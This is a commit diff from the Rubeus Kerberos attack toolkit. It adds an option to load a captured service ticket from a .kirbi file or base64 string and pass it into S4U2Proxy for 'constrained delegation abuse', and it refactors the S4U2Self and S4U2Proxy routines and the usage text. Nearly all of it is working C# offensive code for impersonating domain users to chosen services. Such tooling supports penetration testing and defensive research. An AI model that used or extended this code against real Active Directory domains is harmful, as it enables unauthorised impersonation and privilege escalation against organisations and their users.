Support loading TGS from kirbi instead of performing S4U2Self

master
Elad Shamir 2018-10-24 11:18:55 +00:00
parent 8549a3bae2
commit 10689dfff3
3 changed files with 233 additions and 177 deletions

View File

@ -19,6 +19,7 @@ namespace Rubeus.Commands
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid
KRB_CRED tgs = null;
if (arguments.ContainsKey("/user"))
{
@ -57,6 +58,11 @@ namespace Rubeus.Commands
}
if (arguments.ContainsKey("/impersonateuser"))
{
if (arguments.ContainsKey("/tgs"))
{
Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n");
return;
}
targetUser = arguments["/impersonateuser"];
}
@ -70,13 +76,37 @@ namespace Rubeus.Commands
altSname = arguments["/altservice"];
}
if (arguments.ContainsKey("/tgs"))
{
string kirbi64 = arguments["/tgs"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
tgs = new KRB_CRED(kirbiBytes);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
tgs = new KRB_CRED(kirbiBytes);
}
else
{
Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
return;
}
targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0];
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(targetUser))
if (String.IsNullOrEmpty(targetUser) && tgs == null)
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n");
Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
@ -93,13 +123,13 @@ namespace Rubeus.Commands
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
}
else
{
@ -119,7 +149,7 @@ namespace Rubeus.Commands
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname, tgs);
return;
}
else

View File

@ -35,8 +35,8 @@ namespace Rubeus.Domain
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");

View File

@ -7,7 +7,7 @@ namespace Rubeus
{
public class S4U
{
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null)
{
// first retrieve a TGT for the user
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false, domainController);
@ -26,23 +26,24 @@ namespace Rubeus
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
// execute the s4u process
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs);
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null)
{
Console.WriteLine("[*] Action: S4U\r\n");
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
if (tgs != null)
{
Console.WriteLine("[*] Loaded TGS for '{0}\\{1}' to '{2}/{3}'", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0], tgs.enc_part.ticket_info[0].sname.name_string[0], tgs.tickets[0].sname.name_string[1]);
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]);
}
else
{
S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService);
}
}
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
{
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
@ -57,36 +58,15 @@ namespace Rubeus
}
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ();
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
@ -112,7 +92,7 @@ namespace Rubeus
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
s4u2proxyReq.req_body.additional_tickets.Add(tgs);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
@ -125,17 +105,17 @@ namespace Rubeus
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
AsnElt responseAsn = AsnElt.Decode(response2, false);
// check the response value
int responseTag2 = responseAsn2.TagValue;
int responseTag = responseAsn.TagValue;
if (responseTag2 == 13)
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn2);
TGS_REP rep2 = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
@ -289,7 +269,7 @@ namespace Rubeus
}
}
}
else if (responseTag2 == 30)
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
@ -300,6 +280,52 @@ namespace Rubeus
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
private static void S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, rep.ticket);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR